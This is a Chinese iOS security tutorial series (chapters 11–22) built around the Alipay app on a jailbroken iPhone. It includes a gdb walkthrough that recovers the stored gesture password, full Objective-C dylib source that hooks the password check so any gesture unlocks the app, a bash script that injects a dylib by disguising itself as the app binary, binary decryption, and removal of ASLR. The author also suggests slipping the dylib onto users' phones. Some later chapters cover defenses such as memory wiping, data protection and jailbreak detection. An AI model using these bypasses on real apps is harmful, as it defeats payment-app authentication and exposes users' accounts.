红色箭头标注的地方,让人欣喜,这将是我们断点位置的最好选择。
首先,查看一下相关程序段符号表:
nm Portal | grep -i gestureinputview
得到结果:
nm Portal | grep -i getpassword
得到结果:
图片
11.2
guesture-password2
确定了了关键函数的输出符号。
启动支付宝
app
,并
gdb
该进程:
gdb -q -p 671
在上述两个函数位置设置断点:
图片
11.3
guesture-password3
可以通过
info breakpoints
查看断点:
图片
11.4
guesture-password4
continue
到
getPassword
位置,打印函数栈:
图片
11.5
guesture-password5
我们可以确定了
getPassword
的返回地址是
0x00becb36 ,
对该地址加断点:
b * 0xbecb36
然后继续
continue
,程序将卡在上面的断点上。
从上面的反汇编代码,我们可以知道,用户输入的密码为存在
r8
上,原始密码为存在
r0
上,我们直接打印出这两个寄存器的值:
图片
11.6
guesture-password6
正确密码是个
“Z”
手势图画,而当前输入为
“
一
”
手势图画。
可以得出结论,支付宝
app
的手势密码和大多数
app
一样,手势密码格式是字符串,
9
个点分别对应字符
123456789
。
12
iOS7
的动态库注入
iOS
系统不断升级,结构不断调整,所以我们可以利用的动态库注入方法也根据系统版本的不同而不同。
在此之前,我们可以利用环境变量
DYLD_INSERT_LIBRARY
来添加动态库,
iOS7
被成功越狱后,我们需要自己去探索实践
iOS7
动态库注入的方式。
本文将在
iOS7.0.4
环境下,以
hook
支付宝
app
程序中
ALPLauncherController
的视图加载方法为例,介绍在
iOS7
下,如何实现动态库注入攻击。
相关工具位置信息
先总结罗列一下相关编译、链接工具的位置路径信息,在各位自行下载的
iOS SDK
中
clang : /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/clang
gcc : /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/usr/bin/arm-apple-darwin10-llvm-gcc-4.2
ld : /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/usr/bin/ld
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/ld
sdk : /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS7.0.sdk/
动态库源程序
我们编写一个
hook
支付宝
app
程序中
ALPLauncherController
的
viewDidLoad
方法,具体方法是利用
Method Swizzling
。
不熟悉
Method Swizzling
的话,可以参看我之前的这篇文章:
Objective-C
的
hook
方案(一)
: Method Swizzling
#import <UIKit/UIKit.h>
#import <objc/runtime.h>
@implementation UIViewController (HookPortal)
-(void)myViewDidLoad
{
NSLog(@"----------------------- myViewDidLoad ----------------------");
}
@end
static void __attribute__((constructor)) initialize(void)
{
NSLog(@"======================= initialize ========================");
Class class = objc_getClass("ALPLauncherController");
Method ori_Method = class_getInstanceMethod(class, @selector(viewDidLoad));
Method my_Method = class_getInstanceMethod(class, @selector(myViewDidLoad));
method_exchangeImplementations(ori_Method, my_Method);
}
编译
dylib
我们可以利用
xcode
直接帮忙编译
.o
,或者自己手动使用
clang
编译,然后手动
ld
:
ld -dylib -lsystem -lobjc -syslibroot /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS7.0.sdk/ -o
libwq.dylib xxx.o
安置、验证
dylib
将编译好的
libwq.dylib
拷贝到
iPhone
文件系统中
/Library/MobileSubstrate/DynamicLibraries/
下
如果不放心库是否能正常工作,可以加一步验证操作,写一个
demo
尝试打开自己的库:
voidvoid *handle = (void*)dlopen("/Library/MobileSubstrate/DynamicLibraries/libwq.dylib", 0x2);
handle = dlsym(handle, "myViewDidLoad");
if (handle) {
NSLog(@"++++");
}else{
NSLog(@"----");
}
运行检验效果
到了验证效果的时候,重启设备后者执行:
killall SpringBoard
启动支付宝
app
,然后观察
log
信息:
Portal[3631] <Notice>: MS:Notice: Injecting: com.alipay.iphoneclient `[Portal] (847.21)`
Portal[3631] <Notice>: MS:Notice: Loading: /Library/MobileSubstrate/DynamicLibraries/libwq.dylib
Portal[3631] <Warning>: ======================= initialize ========================
Portal[3631] <Warning>: ----------------------- myViewDidLoad ----------------------
证明我们的动态库已经被加载,
我们的
Hook
也成功了。
剩下的就要自己去思考了,除了加句无聊的
Log
,我们还可以做点什么呢?
13
数据擦除
对于敏感数据,我们不希望长时间放在内存中,而希望使用完后立即就被释放掉。
但是不管是
ARC
还是
MRC
,自动释放池也有轮循工作周期,我们都无法控制内存数据被擦除的准确时间,让
hackers
们有机可乘。
本文介绍一个小技巧
——
及时数据擦除。
假如一个
View Controller A
的一个数据被绑在一个
property
上,
@interface WipingMemoryViewController : UIViewController
@property (nonatomic,copy) NSString *text;
@end
当
A push
到另外一个
View Controller B
时,该数据还是有可能被读到的
WipingMemoryViewController *lastController = (WipingMemoryViewController *)self.navigationController.viewControllers[0];
NSLog(@"text = %@",lastController.text);
于是,
“
用后即擦
”
变得十分必要:
_text = [[NSString alloc]initWithFormat:@"information"];
NSLog(@"Origal string = %@",_text);
//do something...
charchar *string = (charchar *)CFStringGetCStringPtr((CFStringRef)_text, CFStringGetSystemEncoding());
memset(string, 0, [_text length]);
NSLog(@"final text = %@",_text);
Log
输出如下:
WipingMemory[2518:70b] Origal string = information
WipingMemory[2518:70b] final text =
可以看到,我们想要保护的数据,被有效的擦除了。
还有提个醒,如果是这样
_text = @"information";
创建的字符串,是会被分配到
data
区,而是无法修改的。
如果有兴趣也有闲心,可以试试运行下面的代码,有彩蛋哦:
_text = @"information";
memset((__bridge voidvoid *)(_text), 0, _text.length - 1);
NSString *myString = [[NSString alloc]initWithFormat:@"information"];
NSLog(@"Origal text : %@ \n",myString);
编译器把两个
information
的省略到一个地址了~
14
Hack
实战
——
支付宝
App
手势密码校验欺骗
在
iOS
安全攻防(十一):
Hack
实战
——
探究支付宝
app
手势密码
中,介绍了如何利用
gdb
分析
app
,确定了支付宝
app
的手势密码格式为字符串,
9
个点分别对应
123456789
。在
iOS
安全攻防(十二):
iOS7
的动态库注入
中,介绍了如果利用越狱大神们为我们开辟的
iOS7
动态库注入方法。
本文将继续深入
hack
实战,
hook
支付宝手势密码校验操作,欺骗其通过任意手势输入。
那么到现在为止,我们已经掌握了什么信息呢?
1
)一个名叫
GestureUnlockViewController
的类,含有
gestureInputView:didFinishWithPassword:
方法,来处理输入的手势
2
)正确的手势密码通过一个名叫
GestureUtil
的类读取,方法是
getPassword
思路马上清晰了,我们需要做
2
步:
1
)
hook getPassword
存下正确的密码
2
)
hook gestureInputView:didFinishWithPassword:
替换当前输入为正确的密码
一个关键点,我们是用
Method Swizzling
来
hook
,那么就意味操作不能过早,因为我们要保证在取到
GestureUnlockViewController
和
GestureUtil class
后,才能进行
imp
替换。
所以,
我采用
NSNotificationCenter
通知机制协助完成任务。
#import <objc/runtime.h>
#import <UIKit/UIKit.h>
IMP ori_getPasswd_IMP = NULL;
IMP ori_gesture_IMP = NULL;
@interface NSObject (HackPortal)
@end
@implementation NSObject (HackPortal)
+ (id)getPassword
{
NSString *passwd = ori_getPasswd_IMP(self, @selector(getPassword));
return passwd;
}
- (void)gestureInputView:(id)view didFinishWithPassword:(id)password
{
password = ori_getPasswd_IMP(self, @selector(getPassword));
ori_gesture_IMP(self, @selector(gestureInputView:didFinishWithPassword:), view, password);
}
@end
@implementation PortalListener
- (id)init
{
self = [super init];
if (self) {
[[NSNotificationCenter defaultCenter]addObserver:self
selector:@selector(appLaunched:)
name:UIApplicationDidBecomeActiveNotification
object:nil];
}
return self;
}
- (void)appLaunched:(NSNotification *)notification
{
Class class_GestureUtil = NSClassFromString(@"GestureUtil");
Class class_PortalListener = NSClassFromString(@"PortalListener");
Method ori_Method = class_getClassMethod(class_GestureUtil, @selector(getPassword));
ori_getPasswd_IMP = method_getImplementation(ori_Method);
Method my_Method = class_getClassMethod(class_PortalListener, @selector(getPassword));
method_exchangeImplementations(ori_Method, my_Method);
Class class_Gesture = NSClassFromString(@"GestureUnlockViewController");
Method ori_Method1 = class_getInstanceMethod(class_Gesture,
@selector(gestureInputView:didFinishWithPassword:));
ori_gesture_IMP = method_getImplementation(ori_Method1);
Method my_Method1 = class_getInstanceMethod(class_PortalListener,
@selector(gestureInputView:didFinishWithPassword:));
method_exchangeImplementations(ori_Method1, my_Method1);
}
-(void)dealloc
{
[[NSNotificationCenter defaultCenter]removeObserver:self];
}
@end
static void __attribute__((constructor)) initialize(void)
{
static PortalListener *entrance;
entrance = [[PortalListener alloc]init];
}
OK
!编译好动态库,塞进
iPhone
试试效果吧~
不管我们输入什么手势,都会被替换为正确的密码去给
gestureInputView:didFinishWithPassword:
验证,然后顺利解锁。
这意味着什么呢?
意味着,我们可以通过正规的渠道让用户下载这个动态库,然后悄悄放进越狱的
iPhone
的
/Library/MobileSubstrate/DynamicLibraries/
目录下
……
然后
……
然后去给妹纸帅锅
变魔术吧:
“
你看,我和你多心有灵犀,你改什么密码我都猜的到
!”
15
使用
iNalyzer
分析应用程序
好想用
doxygen
画
iOS app
的
class
继承关系。
有没有比
class-dump-z
更直观的分析工具?
利器
iNalyzer
隆重登场~
iNalyzer
的安装
在
iPhone
端:
1
)进入
cydia
添加源
http://appsec-labs.com/cydia/
2
)搜索
iNalyzer
并安装
Doxygen
和
Graphviz
的安装
在
Mac
端:
brew install oxygen graphviz
解密支付宝
App
查看可解密的
App
cd /Applications/iNalyzer5.app
./iNalyzer5
usage: ./iNalyzer5 [application name] [...]
Applications available: Portal Tenpay
解密支付宝
App
./iNalyzer5 Portal
got params /var/mobile/Applications/4763A8A5-2E1D-4DC2-8376-6CB7A8B98728/Portal.app/ Portal.app 800 iNalyzer is iNalyzing Portal...
iNalyzer:crack_binary got /var/mobile/Applications/4763A8A5-2E1D-4DC2-8376-6CB7A8B98728/Portal.app/Portal
/tmp/iNalyzer5_3f0d8773/Payload/Portal.app/Portal Dumping binary...helloooo polis?
helloooo polis?
iNalyzer:Creating SnapShot into ClientFiles
iNalyzer:SnapShot Done
iNalyzer:Population Done
iNalyzer:Dumping Headers
iNalyzer:Patching Headers
/bin/sh: /bin/ls: Argument list too long
ls: cannot access *_fixed: No such file or directory
/var/root/Documents/iNalyzer/
支付宝钱包
-v8.0.0.ipa
将解密后的
ipa
拷贝到本地
修改
doxMe.sh
脚本
解压
ipa, cd
到
/
支付宝钱包
-v8.0.0/Payload/Doxygen
下找到
doxMe.sh
#!/bin/sh
/Applications/Doxygen.app/Contents/Resources/doxygen dox.template && open ./html/index.html
我们是通过
brew
安装的
doxygen
,所以修改脚本为:
#!/bin/sh
doxygen dox.template && open ./html/index.html
执行
doxMe.sh
脚本
./doxMe.sh
完成后浏览器会自动
open
生成的
html
文件
查看信息
通过
index.html
我们可以直观的查看到
Strings analysis
,
ViewControllers
,
Classes
等几大类的信息。
图片
15.1
inalyzer1
在
Classes->Class Hierarchy
可以查看到类继承图示。
支付宝
app class Hierarchy
结果冰山一角:
图片
15.2
inalyzer2
16
使用
introspy
追踪分析应用程序
如果你已阅读了《
iOS
安全攻防》系列专栏之前的文章,一定已经对静态以及运行时分析
App
有了一定的了解。
我们可以借助的分析工具很多,工具和工具之间一般没有什么优劣比较性,完全看个人习惯什么擅长什么。
多个工具多条路,那么本文将介绍追踪分析利器
introspy
。
对应
iOS
系统版本,下载适用的
introspy
工具包:
introspy
下载地址传送门
下载后,将其拷贝到设备中,并执行安装命令:
# dpkg -i com.isecpartners.introspy-v0.4-iOS_7.deb
重启设备:
# killall SpringBoard
到设置中,就可以查看到
instrospy
的设置选项了
:
图片
16.1
instrospy1
在
Introspy-Apps
中选择要跟踪的
app
名称。
Instrospy-Settings
则提供一些常规跟踪设置选项,默认是全部开启。
然后启动想要跟踪的应用程序,就可以直接查看
log
获取
Instrospy
为我们跟踪捕获的信息,这里以跟踪支付宝
app
为例。
打开支付宝
App
,选择添加银行卡,随意添加一个卡号,然后点击下一步
:
图片
16.2
instrospy2
支付宝
app
反馈添加失败,该卡暂不支持,
Instrospy
捕获的信息也很清晰:
图片
16.3
instrospy3
追踪信息被保存为一个数据库
introspy-com.alipay.iphoneclient.db
,存放在:
./private/var/mobile/Applications/4763A8A5-2E1D-4DC2-8376-
6CB7A8B98728/Library/introspy-com.alipay.iphoneclient.db
也可以借助
Introspy-Analyzer
在本地将该数据库解析成一个直观的
report.html
查看
Introspy-Analyzer
下载地址传送门
将
introspy-com.alipay.iphoneclient.db
拷贝到本地,执行:
python introspy.py -p ios --outdir Portal-introspy-html introspy-com.alipay.iphoneclient.db
就会生成一个
Portal-introspy-html
文件夹,该目录下有
report.html
,用浏览器打开
:
open report.html
就可以清晰的查看追踪信息了,主要分为
DataStorage
、
IPC
、
Misc
、
Network
、
Crypto
六大类信息。
举个例子,选择
Crypto
可以查看支付宝
app
采取了什么加密措施,如果你看过我之
前的文章,一定会一眼就认出来手势密码的:
图片
16.4
instrospy4
17
Fishhook
众所周知,
Objective-C
的首选
hook
方案为
Method Swizzle
,于是大家纷纷表示核心内容应该用
C
写。
接下来进阶说说
iOS
下
C
函数的
hook
方案,先介绍第一种方案
---
fishhook
.
什么是
fishhook
fishhook
是
提供的一个动态修改链接
Mach-O
符号表的开源工具。
什么是
Mach-O
Mach-O
为
Mach Object
文件格式的缩写
,
也是用于
iOS
可执行文件,目标代码,动态库,内核转储的文件格式。
Mach-O
有自己的
dylib
规范。
fishhook
的原理
详见官方的
How it works
,这里我作个简要说明。
dyld
链接
2
种符号,
lazy
和
non-lazy
,
fishhook
可以重新链接
/
替换本地符号。
图片
17.1
fishhook1
如图所示,
__DATA
区有两个
section
和动态符号链接相关:
__nl_symbol_ptr
、
__la_symbol_ptr
。
__nl_symbol_ptr
为一个指针数组,直接对应
non-lazy
绑定数据。
__la_symbol_ptr
也是一个指针数组,通过
dyld_stub_binder
辅助链接。
<mach-o/loader.h>
的
section
头提供符号表的偏移量。
图示中,
1061
是间接符号表的偏移量,
*
(偏移量
+
间接符号地址)
=16343
,即符号表偏移量。符号表中每一个结构都是一个
nlist
结构体,其中包含字符表偏移量。通过字符表偏移量
最终确定函数指针。
fishhook
就是对间接符号表的偏移量动的手脚,提供一个假的
nlist
结构体,从而达到
hook
的目的。
fishhook
替换符号函数:
int rebind_symbols(struct rebinding rebindings[], size_t rebindings_nel) {
int retval = prepend_rebindings(rebindings, rebindings_nel);
if (retval < 0) {
return retval;
}
// If this was the first call, register callback for image additions (which is also invoked for
// existing images, otherwise, just run on existing images
if (!rebindings_head->next) {
_dyld_register_func_for_add_image(rebind_symbols_for_image);
} else {
uint32_t c = _dyld_image_count();
for (uint32_t i = 0; i < c; i++) {
rebind_symbols_for_image(_dyld_get_image_header(i), _dyld_get_image_vmaddr_slide(i));
}
}
return retval;
}
关键函数是
_dyld_register_func_for_add_image
,这个函数是用来注册回调,当
dyld
链接符号时,调用此回调函数。
rebind_symbols_for_image
做了具体的替换和填充。
fishhook
替换
Core Foundation
函数的例子
以下是官方提供的替换
Core Foundation
中
open
和
close
函数的实例代码
#import <dlfcn.h>
#import <UIKit/UIKit.h>
#import "AppDelegate.h"
#import "fishhook.h"
static int (*orig_close)(int);
static int (*orig_open)(const charchar *, int, ...);
void save_original_symbols() {
orig_close = dlsym(RTLD_DEFAULT, "close");
orig_open = dlsym(RTLD_DEFAULT, "open");
}
int my_close(int fd) {
printf("Calling real close(%d)\n", fd);
return orig_close(fd);
}
int my_open(const charchar *path, int oflag, ...) {
va_list ap = {0};
mode_t mode = 0;
if ((oflag & O_CREAT) != 0) {
// mode only applies to O_CREAT
va_start(ap, oflag);
mode = va_arg(ap, int);
va_end(ap);
printf("Calling real open('%s', %d, %d)\n", path, oflag, mode);
return orig_open(path, oflag, mode);
} else {
printf("Calling real open('%s', %d)\n", path, oflag);
return orig_open(path, oflag, mode);
}
}
int main(int argc, charchar * argv[])
{
@autoreleasepool {
save_original_symbols();
//fishhook
用法
rebind_symbols((struct rebinding[2]){{"close", my_close}, {"open", my_open}}, 2);
// Open our own binary and print out first 4 bytes (which is the same
// for all Mach-O binaries on a given architecture)
int fd = open(argv[0], O_RDONLY);
uint32_t magic_number = 0;
read(fd, &magic_number, 4);
printf("Mach-O Magic Number: %x \n", magic_number);
close(fd);
return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class]));
}
}
注释
// fishhook
用法处
:
rebind_symbols((struct rebinding[2]){{"close", my_close}, {"open", my_open}}, 2);
传入
rebind_symbols
的第一个参数是一个结构体数组,大括号中为对应数组内容。
不得不说,
忒
NB
。
18
数据保护
API
题外话
开篇先扯几句题外话,许多朋友都问我怎么不写防啊,我确实有点犹豫。
hackers
总是想象如果自己是开发者会怎么写,然后才能找到入手点。同理,开发者们也要想象自己是
hackers
会怎么做,才能采取相应的防御措施。然后,就是一场递归的博弈。
拿越狱检测这件事来说,起初大家只需判断有无安装
Cydia
就好了,
hackers
们说好,那我就不安装
Cydia
也可以动手脚。开发者们又说,那你一定得用的上
MobileSubstrate
,
bash
,
ssh
吧,我去检测手机有没有安装这些工具。可是又有什么用呢?你判断什么我绕过去什么。
当
class-dump
大肆流行,函数符号都被暴露,开发者想尽办法藏起自己的敏感函数代码。
hackers
们也知道
class-dump
的死穴在哪里,于是新的检索办法油然而生。也就说,当一个防
御手段成为流行,它就不会再是个让
hackers
大骂
“
真特么费劲
”
的防御手段了。比如之前介绍的一个小技巧:
内存数据擦除
,
hackers
知道开发者都去擦数据了,那我
hook memset
在你
擦之前去读就好了。开发者说:我直接写硬盘上然后删除!
hackers
说:难道你没听说过文件恢复?
图片
18.1
data-erase1
OK
,贫的有点多了,本文介绍一下防御相关的话题
—— iOS
的数据保护
API
。
数据保护
API
文件系统中的文件、
keychain
中的项,都是加密存储的。当用户解锁设备后,系统通过
UDID
密钥和用户设定的密码生成一个用于解密的密码密钥,存放在内存中,直到设备再次被
锁,开发者可以通过
Data Protection API
来设定文件系统中的文件、
keychain
中的项应该何时被解密。
文件保护
/*
为
filePath
文件设置保护等级
*/
NSDictionary *attributes = [NSDictionary dictionaryWithObject:NSFileProtectionComplete
forKey:NSFileProtectionKey];
[[NSFileManager defaultManager] setAttributes:attributes
ofItemAtPath:filePath
error:nil];
//
文件保护等级属性列表
NSFileProtectionNone //
文件未受保护
,
随时可以访问
(
Default
)
NSFileProtectionComplete //
文件受到保护
,
而且只有在设备未被锁定时才可访问
NSFileProtectionCompleteUntilFirstUserAuthentication //
文件收到保护
,
直到设备启动且用户第一次输入密码
NSFileProtectionCompleteUnlessOpen //
文件受到保护
,
而且只有在设备未被锁定时才可打开
,
不过即便在设备被锁定时
,
已经打开的文件还是可以继续使用和写入
keychain
项保护
/*
设置
keychain
项保护等级
*/
NSDictionary *query = @{(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecAttrGeneric:@"MyItem",
(__bridge id)kSecAttrAccount:@"username",
(__bridge id)kSecValueData:@"password",
(__bridge id)kSecAttrService:[NSBundle mainBundle].bundleIdentifier,
(__bridge id)kSecAttrLabel:@"",
(__bridge id)kSecAttrDescription:@"",
(__bridge id)kSecAttrAccessible:(__bridge id)kSecAttrAccessibleWhenUnlocked};
OSStatus result = SecItemAdd((__bridge CFDictionaryRef)(query), NULL);
//keychain
项保护等级列表
kSecAttrAccessibleWhenUnlocked //keychain
项受到保护
,
只有在设备未被锁定时才可以访问
kSecAttrAccessibleAfterFirstUnlock //keychain
项受到保护
,
直到设备启动并且用户第一次输入密码
kSecAttrAccessibleAlways //keychain
未受保护
,
任何时候都可以访问
(
Default
)
kSecAttrAccessibleWhenUnlockedThisDeviceOnly //keychain
项受到保护
,
只有在设备未被锁定时才可以访问
,
而且不可以转移到其他设备
kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly //keychain
项受到保护
,
直到设备启动并且用户第一次输入密码
,
而且不可以转移到其他设备
kSecAttrAccessibleAlwaysThisDeviceOnly //keychain
未受保护
,
任何时候都可以访问
,
但是不能转移到其他设备
应用实例
把一段信息
infoStrng
字符串写进文件,然后通过
Data Protection API
设置保护。
NSString *documentsPath =[NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES) firstObject];
NSString *filePath = [documentsPath stringByAppendingPathComponent:@"DataProtect"];
[infoString writeToFile:filePath
atomically:YES
encoding:NSUTF8StringEncoding
error:nil];
NSDictionary *attributes = [NSDictionary dictionaryWithObject:NSFileProtectionComplete
forKey:NSFileProtectionKey];
[[NSFileManager defaultManager] setAttributes:attributes
ofItemAtPath:filePath
error:nil];
设备锁屏(带密码保护)后,即使是越狱机,在
root
权限下
cat
读取那个文件信息也会被拒绝。
图片
18.2
data-erase2
19
基于脚本实现动态库注入
MobileSubstrate
可以帮助我们加载自己的动态库,于是开发者们谨慎的采取了对
MobileSubstrate
的检索和防御措施。
那么,除了依靠
MobileSubstrate
帮忙注入
dylib
,还有别的攻击入口吗?
图片
19.1
sript-injection1
理理思路,条件、目的很明确:
1
)必须在应用程序启动之前,把
dylib
的环境变量配置好
2
)
dylib
的位置必须能被应用程序放问到
3
)最后再启动应用程序
图片
19.2
sript-injection2
啊哈,原汁原味,走
bash
!
在点击应用程序图标
-->
程序启动这个过程中,在我们看来程序是被动执行的。为了让特定功能的脚本被执行,我们可以把脚本改成应用程序二进制的名字伪装成应用程序,让系统调
用启动。在脚本中,配置好
dylib
,然后再手动启动真的应用程序,假装什么也没发生,挥一挥衣袖不带走一片云彩~
将真的支付宝程序改名为
oriPortal
:
mv Portal oriPortal
将待执行的脚本改名为支付宝:
mv Portal.sh Portal
脚本代码:
#!/bin/bash
#
得到第一个参数
C=$0
#
第一个参数是二进制的绝对路径
比如
:
#/private/var/mobile/Applications/4763A8A5-2E1D-4DC2-8376-6CB7A8B98728/Portal.app/
#
截取最后一个
/
之前的内容
C=${C%/*}
#
库和二进制放在一起
export DYLD_INSERT_LIBRARIES=${C:-.}/wq.dylib
#
执行原来
APP $@
别忘了把原来的参数保留
exec "${C:-.}"/oriPortal "$@"
结果不尽人意,失败了
……
图片
19.3
sript-injection3
错误信息如下:
图片
19.4
sript-injection6
在打开某个加密信息时出了错误,大概猜一下应该是类似加密签名校验的步骤,但是我们无法去了解其中详细的操作到底是什么样的,没关系,那么就把原始的可执行文件环境全部给
他造出来,因为检验文件属性肯定不会带着路径信息的。
备份一份
Portal.app
目录
Portal_ori.app
,修改脚本为:
#!/bin/bash
C=$0
C=${C%/*}
export DYLD_INSERT_LIBRARIES=${C:-.}/wq.dylib
exec "${C:-.}"/../Portal_ori.app/Portal "$@"
运行支付宝
app
验证一下,
好消息是,在
iOS6
上,成功加载了动态库
wq.dylib
坏消息是,在
iOS7
上,失败了
错误信息如下:
图片
19.5
sript-injection7
应该是因为
iOS7
的沙盒机制升了级,把我们这套小把戏拦在门外了
……
图片
19.6
sript-injection8
那又怎么样,面包总会有的~
20
越狱检测的攻与防
在应用开发过程中,我们希望知道设备是否越狱,正以什么权限运行程序,好对应采取一些防御和安全提示措施。
iOS7
相比之前版本的系统而言,升级了沙盒机制,封锁了几乎全部应用沙盒可以共享数据的入口。即使在越狱情况下,限制也非常多,大大增加了应用层攻击难度。比如,在
iOS7
之
前,我们可以尝试往沙盒外写文件判断是否越狱,但
iOS7
越狱后也无该权限,还使用老方法检测会导致误判。
那么,到底应该如何检测越狱呢?攻击者又会如果攻破检测呢?本文就着重讨论一下越狱检测的攻与防。
图片
20.1
gongfang
首先,你可以尝试使用
NSFileManager
判断设备是否安装了如下越狱常用工具:
/Applications/Cydia.app /Library/MobileSubstrate/MobileSubstrate.dylib /bin/bash /usr/sbin/sshd /etc/apt
但是不要写成
BOOL
开关方法,给攻击者直接锁定目标
hook
绕过的机会
+(BOOL)isJailbroken{
if ([[NSFileManager defaultManager] fileExistsAtPath:@"/Applications/Cydia.app"]){
return YES;
}
// ...
}
攻击者可能会改变这些工具的安装路径,躲过你的判断。
那么,你可以尝试打开
cydia
应用注册的
URL scheme
:
if([[UIApplication sharedApplication] canOpenURL:[NSURL URLWithString:@"cydia://package/com.example.package"]]){
NSLog(@"Device is jailbroken");
}
但是不是所有的工具都会注册
URL scheme
,而且攻击者可以修改任何应用的
URL scheme
。
那么,你可以尝试读取下应用列表,看看有无权限获取:
if ([[NSFileManager defaultManager] fileExistsAtPath:@"/User/Applications/"]){
NSLog(@"Device is jailbroken");
NSArray *applist = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:@"/User/Applications/"
error:nil];
NSLog(@"applist = %@",applist);
}
越了狱的设备是可以获取到的:
图片
20.2
gongfang2
攻击者可能会
hook NSFileManager
的方法,让你的想法不能如愿。
那么,你可以回避
NSFileManager
,使用
stat
系列函数检测
Cydia
等工具:
#import <sys/stat.h>
void checkCydia(void)
{
struct stat stat_info;
if (0 == stat("/Applications/Cydia.app", &stat_info)) {
NSLog(@"Device is jailbroken");
}
}
攻击者可能会利用
Fishhook
原理
hook
了
stat
。
那么,你可以看看
stat
是不是出自系统库,有没有被攻击者换掉:
#import <dlfcn.h>
void checkInject(void)
{
int ret ;
Dl_info dylib_info;
int (*func_stat)(const charchar *, struct stat *) = stat;
if ((ret = dladdr(func_stat, &dylib_info))) {
NSLog(@"lib :%s", dylib_info.dli_fname);
}
}
如果结果不是
/usr/lib/system/libsystem_kernel.dylib
的话,那就
100%
被攻击了。
如果
libsystem_kernel.dylib
都是被攻击者替换掉的
……
那也没什么可防的大哥你随便
吧
……
那么,你可能会想,我该检索一下自己的应用程序是否被链接了异常动态库。
列出所有已链接的动态库:
#import <mach-o/dyld.h>
void checkDylibs(void)
{
uint32_t count = _dyld_image_count();
for (uint32_t i = 0 ; i < count; ++i) {
NSString *name = [[NSString alloc]initWithUTF8String:_dyld_get_image_name(i)];
NSLog(@"--%@", name);
}
}
通常情况下,会包含越狱机的输出结果会包含字符串:
Library/MobileSubstrate/MobileSubstrate.dylib
。
攻击者可能会给
MobileSubstrate
改名,但是原理都是通过
DYLD_INSERT_LIBRARIES
注入动态库。
那么,你可以通过检测当前程序运行的环境变量:
void printEnv(void)
{
charchar *env = getenv("DYLD_INSERT_LIBRARIES");
NSLog(@"%s", env);
}
未越狱设备返回结果是
null
,越狱设备就各有各的精彩了,尤其是老一点的
iOS
版本越狱环境。
21
废除应用程序的
ASLR
特性
ASLR (Address Space Layout Randomization)
,即地址空间随机布局。大部分主流的操作系统都已实现了
ASLR
,以防范对已知地址进行恶意攻击。
iOS
从
4.3
开始支持
ASLR
,
Android
从
4.0
也支持了
ASLR
机制。
ASLR
的存在,给
iOS
系统越狱造成了很大的困难,某些不完美越狱方案就是因为攻破不了或者绕不开
ASLR
,所以每次重新启动后地址再度随机偏移,需要重新进行越狱操作。与此
同时,
ASLR
也给应用层攻击带来了一些困难,不同进程会造成不同的地址空间偏移,而且在运行时才可确定其偏移量,不易锁定攻击地址。
Mach-O
文件的文件头会记录二进制的属性标识,有个
flag
叫做
PIE (Position Independent Enable)
。开启了
PIE
的二进制文件,在执行时会产生
ASLR
。
我们可以使用
otool
工具,来查看任意应用程序二进制文件的属性,以支付宝为例:
otool -hv Portal
图片
21.1
aslr
有
PIE
标识,表示该程序在启动时会产生随机地址布局。
图片
21.2
aslr1
removePIE
是个去掉
PIE flag
的工具。
坏消息是,年久失修,它不支持
iOS7
。
好消息是,我们还有
2
个变通方法可以走。
-
利用
Theos
编译
removePIE
-
改编一个
Mac
版的
MyRemovePIE
非越狱开发者可能不熟悉
Theos
,低学习成本的做法是第二种,那么让我们来改编一个
Mac
版的
MyRemovePIE
吧。
(懒得动手的可以直接到
这里
下载
demo
)
创建一个
Command Line Tool
工程,
图片
21.3
aslr2
然后复制
removePIE.c
代码到
main.c
中,并且修改第
43
行:
if(currentHeader.magic == MH_MAGIC){ //little endian
添加
iOS7
的判断条件
:
if(currentHeader.magic == MH_MAGIC || currentHeader.magic == 0xbebafeca ){ //little endian
编译后生成可执行文件
MyRemovePIE .
利用我们编译生成的
MyRemovePIE
来处理应用程序:
./MyRemovePIE Portal
图片
21.4
aslr3
这样以后支付宝
Portal
再被启动执行就不会具有
ASLR
特性了
图片
21.5
aslr4
如何验证一下结果呢?
把处理过的
Portal
二进制拷贝回
iPhone
,启动支付宝钱包应用,然后
gdb
该进程,利用
info sh
命令查看偏移:
图片
21.6
aslr5
偏移量为
0
,嗯,这下就好了。一些手动处理的过程可以升级为自动了~
图片
21.7
aslr6
22
static
和被裁的符号表
为了不让攻击者理清自己程序的敏感业务逻辑,于是我们想方设法提高逆向门槛。
本文就介绍一个防御技巧
——
利用
static
关键字裁掉函数符号。
原理
如果函数属性为
static
,那么编译时该函数符号就会被解析为
local
符号。
在发布
release
程序时(用
Xcode
打包编译二进制)默认会
strip
裁掉这些函数符号,无疑给逆向者加大了工作难度。
验证
写个
demo
验证一下上述理论,以一段创建
Button
的代码为例,对应补充一个
static
版本。
id createBtn()
{
UIButton *btn = [[UIButton alloc]initWithFrame:CGRectZero];
[btn setFrame:CGRectMake(200, 100, 100, 100)];
[btn setBackgroundColor:[UIColor redColor]];
btn.layer.cornerRadius = 7.0f;
btn.layer.masksToBounds = YES;
return btn;
}
static id static_createBtn()
{
UIButton *btn = [[UIButton alloc]initWithFrame:CGRectZero];
[btn setFrame:CGRectMake(50, 100, 100, 100)];
[btn setBackgroundColor:[UIColor blueColor]];
btn.layer.cornerRadius = 7.0f;
btn.layer.masksToBounds = YES;
return btn;
}
再来看一下反编的结果,对于
createBtn()
方法,我们可以得到它的伪代码:
图片
22.1
static
函数名虽然面目全非,但是基本操作还是清晰的。
对于
static_createBtn()
方法呢,我们已经无法看到它任何直观的有价值信息了。
局限
当然这种方法也有局限性。正如你所知道的,
static
函数,只在本文件可见。
打破局限
怎么让别的文件也能调到本文件的
static
方法呢?
在本文件建造一个结构体,结构体里包含函数指针。把
static
函数的函数指针都赋在这个结构体里,再把这个结构体抛出去。
这样做的好处是,既隐藏了函数代码也丰富了调用方式。
23
